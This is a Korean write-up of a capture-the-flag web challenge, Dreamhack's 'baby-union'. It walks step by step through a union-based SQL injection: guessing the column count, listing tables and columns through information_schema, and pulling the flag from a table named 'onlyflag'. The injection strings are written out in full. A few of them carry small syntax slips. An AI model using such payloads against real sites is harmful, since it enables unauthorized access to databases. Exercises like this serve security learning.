[Dreamhack]baby-union풀이

baby-union | 워게임 | Dreamhack | 워게임 | Dreamhack

baby-union

문제에 들어가보니 로그인 창이 떴고 아무거나 입력했을 때 변화가 없어서 주어진 파일을 확인하였다.

 

코드를 확인해보니 가짜 테이블이 있고 flag 컬럼들에 나눠 저장되어 있는 것 같다. 테이블과 컬럼 이름을 알아낸 뒤, union select를 이용해 fake_table_name의 데이터를 추출하면 flag를 얻을 수 있을 것 같다.

 

[Web 취약점] Injection 공격 방법(SQL Injection 2 : union based injection)

[Web 취약점] Injection 공격 방법(SQL Injection 2 : union based injection)

이 자료를 참고하여  union injection공격 방법이 뭔지 배우고 어떤 쿼리를 입력하여 해결할 수 있는지 확인하였다.

 

 

먼저 컬럼 수가 총 몇개인지 확인하였다. uid부분에

admin'union select 1#

admin'union select 1,2,#

admin'union select 1,2,3,#

admin'union select 1,2,3,4#

로 하나씩 늘려가며 어느부분에서 실행되는지 확인하였고 컬럼 수는 총 4개라는 것을 확인하였다.

 

다음은 테이블 명을 확인할 수 있는 'UNION SELECT ALL null,null,null,null,table_name from information_schema.table#를 입력하여 어떤 테이블들이 있는지 확인하였고 flag가 있을 법한 테이블을 찾았다.

 

 

계속 내려보다가 onlyflag라는 테이블을 찾았고 해당 테이블의 컬럼을 확인하기로 하였다.

'union select column_name,2,3,4 from information_schema.columns where table_name='onlyflag'#를 입력하니 다음과 같은 화면이 나왔다.

 

컬럼들을 조회할 수 있는 ' union select sname, svalue, sflag, sclose from onlyflag # 를 입력하여 컬럼의 데이터를 확인하였고 flag값을 얻었다.